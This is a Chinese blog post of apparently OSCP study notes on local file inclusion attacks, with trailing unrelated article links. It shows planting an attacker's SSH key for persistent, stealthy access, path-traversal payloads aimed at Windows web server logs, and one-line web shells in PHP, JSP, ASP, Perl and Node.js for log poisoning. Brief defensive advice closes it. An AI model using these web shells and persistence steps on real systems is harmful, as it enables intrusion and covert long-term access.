当前位置: 首页 > news >正文

4-4〔O҉S҉C҉P҉ ◈ 研记〕❘ WEB应用攻击▸本地文件包含漏洞-B

    郑重声明: 本文所有安全知识与技术,仅用于探讨、研究及学习,严禁用于违反国家法律法规的非法活动。对于因不当使用相关内容造成的任何损失或法律责任,本人不承担任何责任。 如需转载,请注明出处且不得用于商业盈利。 

    💥👉点赞❤️ 关注🔔 收藏⭐️ 评论💬💥 
    更多文章戳👉
Whoami!-CSDN博客🚀


𖤐 现在,我们渐入佳境了,保持耐心,继续前行 ! 

𖤐 𝓝𝓸𝔀 𝔀𝓮'𝓻𝓮 𝓱𝓲𝓽𝓽𝓲𝓷𝓰 𝓸𝓾𝓻 𝓼𝓽𝓻𝓲𝓭𝓮, 𝓴𝓮𝓮𝓹 𝓹𝓪𝓽𝓲𝓮𝓷𝓽 𝓪𝓷𝓭 𝓴𝓮𝓮𝓹 𝓶𝓸𝓿𝓲𝓷𝓰 𝓯𝓸𝓻𝔀𝓪𝓻𝓭!  


→ 信息收集

→ 漏洞检测

→ 初始立足点▸常见WEB应用攻击▸-----我们在这儿~ 🔥🔥🔥

→ 权限提升 

→ 横向移动

→ 报告/分析

→ 教训/修复  

目录

1 常见WEB应用攻击

1.2 文件包含漏洞概述

1.2.2 本地文件包含漏洞(LFI)

1.2.2.6 实现SSH(公钥文件)-登录到服务器

1.生成SSH密钥对(如果没有)

2.获取公钥内容并写入目标主机中

3.设置公钥文件权限

4.测试ssh登录

1.2.2.7 两种远程攻击对比

1.2.3 针对Windows的LFI攻击

1.2.3.1 Windows与Linux LFI攻击对比

1.2.3.2 Windows目标LFI攻击指南

1.确定利用攻击向量

2.了解日志文件在Windows的路径

3.多语言环境LFI攻击payload

4.将执行代码注入到日志文件

1.2.4 跨平台LFI攻击检查清单

1.2.5 防御方建议

💥创作不易💥求一波暴击👉点赞❤️ 关注🔔 收藏⭐️ 评论💬


1 常见WEB应用攻击

Web开发是当前IT领域需求最高的技能之一,然而多种安全漏洞在各类Web应用程序中反复出现。无论使用何种技术栈,这些常见漏洞都可能存在于已部署的应用程序中。主要攻击类型包括:

  • 📁 目录遍历 - 通过操纵文件路径访问未授权资源

  • 📄 文件包含漏洞 - 包含恶意文件执行代码---(本文)

  • ⬆️ 文件上传攻击漏洞 - 上传恶意文件获取系统访问权

  • ⚡ 命令注入 - 在输入中注入系统命令执行

1.2 文件包含漏洞概述

1.2.2 本地文件包含漏洞(LFI)

1.2.2.6 实现SSH(公钥文件)-登录到服务器

下面简述通过使用SSH登录到服务器。

🔑 攻击原理

1.通过LFI漏洞将攻击主机生成SSH密钥对并将其公钥文件添加到目标用户(被攻击主机)的 authorized_keys 文件中。

2.再针对该文件及其所属文件夹设置正确的权限,即可实现SSH密钥登录(无需密码)。在这个过程中,重要的两点,通过LFI漏洞对目标主机执行命令:

  • 让目标用户(被攻击主机)写入公钥文件
  • 实现该公钥文件及文件夹的权限修改。 

这个就要利用所发现LFI漏洞,再通过包含LFI漏洞的日志文件来执行以上所需的PHP代码片段!!!

1.生成SSH密钥对(如果没有)
$ ssh-keygen -t rsa -b 4096
项目说明
操作目的生成一对SSH密钥对:SSH公钥和私钥
关键参数及作用

-t:指定生成的密钥类型为 rsa。

-b:指定密钥的位数,4096 表示生成 4096 位的 RSA 密钥

默认存储位置

私钥:~/.ssh/id_rsa

公钥:~/.ssh/id_rsa.pub,稍后把公钥发送到服务器。


2.获取公钥内容并写入目标主机中

        假设已经有了公钥文件(~/.ssh/id_rsa.pub),并希望将其添加到某个用户(例如username)的authorized_keys文件中,可按照以下步骤操作:

$ cat ~/.ssh/id_rsa.pub | ssh kali@192.168.162.139 'mkdir -p ~/.ssh && cat >> ~/.ssh/authorized_keys'

        通过 SSH 将本地主机(攻击主机)上的公钥复制到远程主机(目标主机)上,使得以后可以通过 SSH 无密码登录到目标主机。具体步骤如下:

1)查看本地(攻击者)公钥并传输(到目标主机)
cat ~/.ssh/id_rsa.pub:读取本地(攻击者主机)生成的公钥(id_rsa.pub)。
|:管道符号,用于将 cat 命令输出的内容(公钥)传递给后面的 SSH 命令。
ssh kali@192.168.162.139:通过 SSH 连接到目标主机(192.168.162.139)上的 kali 用户。
'mkdir -p ~/.ssh && cat >> ~/.ssh/authorized_keys':在远程主机上执行两个操作:
     ①mkdir -p ~/.ssh:确保目标主机的 ~/.ssh 目录存在,如果不存在则创建它。
     ②cat >> ~/.ssh/authorized_keys:将本地公钥追加到目标主机的 ~/.ssh/authorized_keys 文件中,这样目标主机会信任该公钥,从而允许 SSH 无密码登录

2)验证目标主机是否收到公钥
登录到目标主机(192.168.162.139)后,你可以检查目标主机的 ~/.ssh/authorized_keys 文件,确认公钥是否已经成功复制到其中。

$ cat ~/.ssh/authorized_keys

应该可以看到目标主机上已经存在攻击主机(192.168.162.136)的公钥(来自 id_rsa.pub)。

3.设置公钥文件权限

       要在目标主机上确保.ssh目录authorized_keys文件权限设置正确,这样才能不输入密码完成远程访问,否则将提示输入远程主机密码,如下:

     使用以下命令在目标主机(162.139)进行权限设置

$ chmod 700 ~/.ssh
$ chmod 600 ~/.ssh/authorized_keys# 设置.ssh目录具有 700权限(即只有用户自己有读写和执行权限)。
# authorized_keys 文件应具有 600 权限(即只有用户自己有读写权限)。
4.测试ssh登录

完成上述步骤后,在攻击主机(192.168.162.136)上可通过SSH使用密钥登录目标主机(192.168.162.139),如果一切设置正确,能够在不输入密码的情况下成功登录。

$ ssh kali@192.168.162.139


1.2.2.7 两种远程攻击对比

反向Shell的限制

  • 网络连通性:目标必须能连接到攻击者IP

  • 防火墙规则:出站连接可能被阻止

  • 会话持久性:连接断开后需要重新建立

SSH密钥攻击的优势

  • 持久访问:一次植入,长期有效

  • 隐蔽性高:看起来像正常SSH连接

  • 绕过检测:难以被安全设备识别

攻击方式实现难度隐蔽性持久性适用场景
反向Shell⭐⭐⭐⭐需要实时交互
SSH密钥植入⭐⭐⭐⭐⭐⭐⭐⭐⭐⭐⭐长期访问需求

1.2.3 针对Windows的LFI攻击

1.2.3.1 Windows与Linux LFI攻击对比
攻击要素Linux系统Windows系统
文件路径/var/log/apache2/C:\xampp\apache\logs\
路径分隔符正斜杠(/)反斜杠(\)或正斜杠(/)
日志位置标准化的Unix路径依赖安装路径
代码兼容性PHP代码直接可用PHP代码同样适用
PHP利用代码

(<?php echo system($_GET['cmd']); ?>)

同左侧

1.2.3.2 Windows目标LFI攻击指南
1.确定利用攻击向量

✅ 关键确认点:PHP代码跨平台兼容

<?php echo system($_GET['cmd']); ?>
  • 系统无关性:使用PHP system()函数,与底层操作系统无关

  • 统一攻击向量:相同的代码片段适用于Windows和Linux目标

2.了解日志文件在Windows的路径

📍 常见Web服务器日志路径

Web服务器默认日志路径备注
XAMPPC:\xampp\apache\logs\最常见的选择
WAMPC:\wamp\logs\
IISC:\inetpub\logs\Windows自带服务器
自定义安装根据实际安装目录需要信息收集

🔍 路径发现方式

# 通过LFI尝试常见路径
?page=../../../xampp/apache/logs/access.log
?page=../../../../wamp/logs/access.log
?page=../../../../inetpub/logs/access.log
3.多语言环境LFI攻击payload

        利用文件包含漏洞在很大程度上取决于Web应用程序的编程语言、版本和Web服务器配置。除了PHP之外,我们还可以利用其他框架或服务器端脚本语言中的LFI和RFI漏洞,包括 Perl、Active Server Pages Extended、Active Server Pages、和Java Server Pages。利用这些类型的漏洞在这些语言中非常相似。

语言/框架利用代码片段示例利用特点
PHP<?php system($_GET['cmd']); ?>最常见,直接系统调用
JSP<% Runtime.getRuntime().exec(request.getParameter("cmd")); %>Java环境执行
ASP<% CreateObject("WScript.Shell").Exec("cmd /c " & Request("cmd")) %>Windows原生支持
Perlsystem($ENV{'QUERY_STRING'} =~ /cmd=([^&]+)/);古老但有效
Node.jsrequire('child_process').exec(require('url').parse(req.url,true).query.cmd)现代JavaScript环境
4.将执行代码注入到日志文件

        JSP Web应用程序中的LFI漏洞。如果我们可以使用日志污染将JSP代码写入文件中,并利用LFI漏洞包含此文件,代码将被执行。这个示例与之前的PHP演示的唯一区别是:用于日志污染的代码片段将是不同的语言

核心思路不变:无论何种语言,LFI攻击的本质都是:

  • 将可执行代码注入到可访问的文件中

  • 通过文件包含功能执行该文件

  • 实现远程代码执行

PHP(最常见)

<?php system($_GET['cmd']); ?>

JSP代码片段

<% String cmd = request.getParameter("cmd");Runtime.getRuntime().exec(cmd); 
%>

ASP经典代码

<%Set cmd = CreateObject("WScript.Shell")cmd.Exec("cmd /c " & Request.QueryString("cmd"))
%>

Node.js示例

require('child_process').exec(require('url').parse(req.url,true).query.cmd)

1.2.4 跨平台LFI攻击检查清单

🔍 信息收集阶段

  • 确定目标操作系统(Windows/Linux)

  • 识别Web服务器类型和版本

  • 确认服务端编程语言

  • 收集应用程序安装路径信息

⚔️ 攻击实施阶段

  • 根据语言选择合适的代码片段

  • 使用正确的路径格式(Windows注意驱动器和反斜杠)

  • 进行URL编码处理特殊字符

  • 测试多个可能的日志文件位置


1.2.5 防御方建议

通用防护措施

  • 输入验证:严格过滤用户提供的文件路径

  • 权限最小化:Web服务器用户权限限制

  • 日志安全:日志文件不可执行位置存储

  • 安全配置:禁用不必要的文件包含功能

语言特定防护

  • PHP:设置open_basedir限制,禁用allow_url_include

  • Node.js:避免动态require,使用静态导入

  • Java:使用SecurityManager限制文件访问

💥创作不易💥求一波暴击👉点赞❤️ 关注🔔 收藏⭐️ 评论💬

您的支持是我创作最大的动力!

http://www.dtcms.com/a/407349.html

相关文章:

  • Acuvi 旗下PiezoMotor电机:Piezo LEGS 如何解锁纳米级运动控制?
  • 运营专员技能提升培训班推荐:从执行到数据驱动
  • 商城网站建设如何交谈电子产品展示网站模板
  • 银川网站seo邯郸注册公司
  • 网站开发的基本语言网站被拔毛的原因
  • 吉林市网站建设招标在线网站
  • 奈氏准则(奈奎斯特定理Nyquist‘s Theorem)和香农采样定理(Shannon Sampling Theorem)
  • 用sql网站建设基本流程小说网站开发实训报告
  • vps如何创建网站wordpress onthego
  • 东莞做网站哪家最好商城源码开源
  • uniapp生成二维码组件全能组件复制即用
  • 如何安装网站模版seo排名优化课程
  • Git 多人协作(2)
  • 网站建设模式有哪些方面网站精神文件建设专栏
  • 外贸建站服务器怎么选网站备案每年审吗
  • 【不背八股】17.什么是Bert?
  • BMAD框架实践:掌握story-checklist提升用户故事质量
  • 数字化转型:概念性名词浅谈(第五十一讲)
  • 快应用打包rpk同时生成了rpk和rpks是为什么?怎么用?-优雅草卓伊凡
  • 仿站免费申请网站首选百度
  • C++(day2)
  • 网站建设行业论坛哪个做网站公司好
  • 文献解读:南海8GHz蒸发波导信道的大尺度与小尺度衰落特性研究
  • 网站建设中的html页面下载营销策划专业
  • 凡科网站做商城0453信息网免费发布
  • 计算机视觉进阶教学之dlib库(一)
  • 告别局域网束缚:DbGate与cpolar的远程数据库管理实践
  • 企业网站的建设报价wordpress采集视频
  • JavaEE--SpringBoot
  • 《Muduo网络库:实现Logger日志类》